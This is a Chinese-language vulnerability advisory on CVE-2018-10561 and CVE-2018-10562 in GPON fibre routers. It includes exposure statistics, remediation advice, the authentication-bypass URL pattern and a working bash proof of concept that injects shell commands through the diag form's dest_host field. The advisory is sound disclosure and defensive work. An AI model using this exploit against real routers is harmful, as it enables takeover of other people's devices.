【漏洞预警】GPON光纤路由器越权和远程命令执行漏洞（CVE-2018-10561 & CVE-2018-10562）

近日，白帽汇安全研究院监测发现网络中公开两个影响较严重的路由器漏洞。一个是越权访问控制，另一个为远程命令执行漏洞。这两个漏洞危害高，利用简单，影响数量多。远程攻击者可利用该漏洞提升控制权限，控制整个设备。白帽汇安全研究院提供大家提前做好安全防范。

GPON(Gigabit-Capable PON) 技术是基于ITU-TG.984.x标准的最新一代宽带无源光综合接入标准，具有高带宽，高效率，大覆盖范围，用户接口丰富等众多优点，被大多数运营商视为实现接入网业务宽带化，综合化改造的理想技术。Gpon路由器是现在流行的光纤无光源网络设备，有众多用户使用。

根据FOFA系统显示，目前全球范围内使用该类设备的对外可访问的超过199万台设备。使用最多的国家为墨西哥，共有654093台； 哈萨克斯坦第二，共有616416台；越南第三，共有289102台；阿拉伯联合酋长国第四，共有65310台；俄罗斯第五，共有42078台。而我国地区仅有53台设备对外可访问。我国使用最多的地区为黑龙江省，共有35台；第二为辽宁省，共有8台；河南省第三，共有3台；江西和新疆地区各有两台，云南省一台。

Gpon路由器全球对外可访问网络资产分布情况（资产分布情况，非漏洞存在情况）

Gpon路由器中国对外可访问网络资产分布情况（资产分布情况，非漏洞存在情况）

漏洞原理与危害

设备上开启的HTTP服务在处理URL路径时，利用HTTP服务的处理特定，远程攻击者通过精心构造的攻击指令即可绕过权限访问控制，并且可以造成远程命令执行漏洞。进而接管系统，远程攻击者可进行任意操作。

攻击者可访问如下链接地址，即可看到系统管理菜单，绕过系统验证对系统进行管理。 http(s)://target/menu.html?images/

通过如下链接地址，发送特定的请求，即可远程任意执行命令。导致设备沦陷。 http(s)://target//GponForm/diag_FORM?images/

漏洞POC

#!/bin/bash

echo "[+] Sending the Command… "
curl -k -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=\`$2\`;$2&ipv=0" $1/GponForm/diag_Form?images/ 2>/dev/null 1>/dev/null
echo "[+] Waiting…."
sleep 3
echo "[+] Retrieving the ouput…."
curl -k $1/diag.html?images/ 2>/dev/null | grep 'diag_result = ' | sed -e 's/\\n/\n/g'

以上代码来自vpnmentor发布。其漏洞利用效果如图:

漏洞利用效果截图

目前FOFA客户端已经支持两个漏洞（CVE-2018-10561 & CVE-2018-10562）的检测。企业可使用该PoC检查自身设备漏洞情况，及时做好应对。

CVE-2018-10561 越权访问漏洞PoC界面截图

CVE-2018-10562 远程命令执行PoC界面截图

CVE编号

CVE-2018-10561 & CVE-2018-10562

修复建议

1、升级固件版本。
2、关闭对外访问的Web端口界面。禁止对外公开。

白帽汇会持续对该漏洞进行跟进。后续可以关注链接

参考

[1] https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/